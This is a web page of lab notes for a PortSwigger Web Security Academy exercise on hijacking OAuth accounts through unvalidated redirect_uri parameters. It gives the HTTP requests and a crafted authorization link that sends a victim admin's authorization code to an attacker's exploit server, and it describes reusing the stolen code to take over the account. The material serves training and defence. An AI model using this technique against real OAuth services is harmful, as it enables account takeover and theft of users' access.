> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).
# OAuth Account Hijacking via redirect\_uri
OAuth Account Hijacking via redirect\_uri notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### OAuth Account Hijacking via Redirect/\_uri
**Lab objective**
This lab demonstrates how a bad configuration of the `redirect_uri` parameter in an OAuth stream allows an attacker to steal **authorization codes** associated with another user's account.
**But final :**
* Intercept a user-owned OAuth authorization code **admin**
* Use this code to access his account
* Delete user **carlos**
**Context and Conditions**
* The site allows authentication via an OAuth provider (social network).
* User **admin**:
* Opens any link from the exploit server.
* Already has an active session with the OAuth supplier.
* IDs provided:
* Attacker's social account: `wiener:peter`
**Analysis of OAuth flow**
When a user connects via OAuth, the application sends a request similar to:
{% code overflow="wrap" %}
```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```
{% endcode %}
The critical point is that **OAuth supplier does not require strict validation of `redirect_uri`**.
{% code overflow="wrap" %}
```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```
{% endcode %}
**Validation of vulnerability**
Changing the `redirect_uri` parameter to an arbitrary domain, for example:
```bash
redirect_uri=https://test.com/oauth-callback
```
the following behavior is observed:
* OAuth supplier redirects well to this field
* **OAuth** authorization code is included in the redirect URL
This confirms that `redirect_uri` is exploitable.
**Exploitation**
The goal is now to force the admin to initiate an OAuth authentication whose redirect is pointing to \*\* the exploit server\*\* from the attacker.
Link OAuth malicious used:
{% code overflow="wrap" %}
```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```
{% endcode %}
This link is embedded in a page of the exploit server using an iframe:
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
**Recovery of authorization code**
When admin opens the page:
* OAuth feed is run automatically
* The supplier OAuth redirects to the exploit server
* \*\*exploit server \*\*logs contain several OAuth codes
The **last code received** is used, for example:
```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```
**Result**
* The authorization code is valid
* Access to \*\* admin account\*\* is obtained
---
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